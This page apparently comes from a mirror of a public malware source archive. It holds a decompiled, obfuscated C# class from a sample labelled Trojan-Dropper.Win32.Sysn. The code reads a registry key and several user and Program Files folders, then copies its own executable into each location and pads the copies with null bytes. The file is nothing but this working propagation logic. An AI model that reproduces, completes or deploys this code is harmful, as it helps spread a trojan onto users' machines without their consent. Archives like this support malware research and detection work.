mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
96 lines
3.2 KiB
C#
96 lines
3.2 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
||
|
||
using \u0001;
|
||
using \u000E;
|
||
using Microsoft.Win32;
|
||
using System;
|
||
using System.Diagnostics;
|
||
using System.IO;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u000E
|
||
{
|
||
internal sealed class \u0004
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0002 \u0001;
|
||
private static string \u0001;
|
||
|
||
public static void \u000F([In] string obj0)
|
||
{
|
||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0004.\u0001(3226), false);
|
||
if (registryKey == null)
|
||
return;
|
||
\u0004.\u000F(registryKey.GetValue(\u0004.\u0001(3275)).ToString() + \u0004.\u0001(1969), obj0);
|
||
}
|
||
|
||
public static void \u0010([In] string obj0)
|
||
{
|
||
string str1 = Environment.GetFolderPath(Environment.SpecialFolder.Personal).Replace(\u0004.\u0001(3296), \u0004.\u0001(3309));
|
||
string str2 = \u0004.\u0001 + \u0004.\u0001(3346);
|
||
\u0004.\u000F(str1, obj0);
|
||
\u0004.\u000F(str2, obj0);
|
||
}
|
||
|
||
public static void \u0011([In] string obj0)
|
||
{
|
||
string str1 = \u0004.\u0001 + \u0004.\u0001(3371);
|
||
string str2 = \u0004.\u0001 + \u0004.\u0001(3404);
|
||
string str3 = \u0004.\u0001 + \u0004.\u0001(3445);
|
||
\u0004.\u000F(str1, obj0);
|
||
\u0004.\u000F(str2, obj0);
|
||
\u0004.\u000F(str3, obj0);
|
||
}
|
||
|
||
public static void \u0012([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3490), obj0);
|
||
|
||
public static void \u0013([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3519), obj0);
|
||
|
||
public static void \u0014([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3552), obj0);
|
||
|
||
public static void \u0015([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3577), obj0);
|
||
|
||
public static void \u0016([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3610), obj0);
|
||
|
||
public static void \u0017([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3647), obj0);
|
||
|
||
public static void \u0018([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3672), obj0);
|
||
|
||
public static void \u0019([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3693), obj0);
|
||
|
||
public static void \u000F([In] string obj0, [In] string obj1)
|
||
{
|
||
if (!Directory.Exists(obj0))
|
||
return;
|
||
if (File.Exists(obj0 + obj1))
|
||
return;
|
||
try
|
||
{
|
||
File.Copy(Process.GetCurrentProcess().MainModule.FileName, obj0 + obj1, true);
|
||
FileStream fileStream = File.OpenWrite(obj0 + obj1);
|
||
long num1 = fileStream.Seek(0L, SeekOrigin.End);
|
||
Decimal num2 = (Decimal) (Convert.ToInt32(obj1.Length) * 10485);
|
||
while ((Decimal) num1 < num2)
|
||
{
|
||
++num1;
|
||
fileStream.WriteByte((byte) 0);
|
||
}
|
||
fileStream.Close();
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
static \u0004()
|
||
{
|
||
\u0003.\u000F();
|
||
\u0004.\u0001 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
|
||
}
|
||
}
|
||
}
|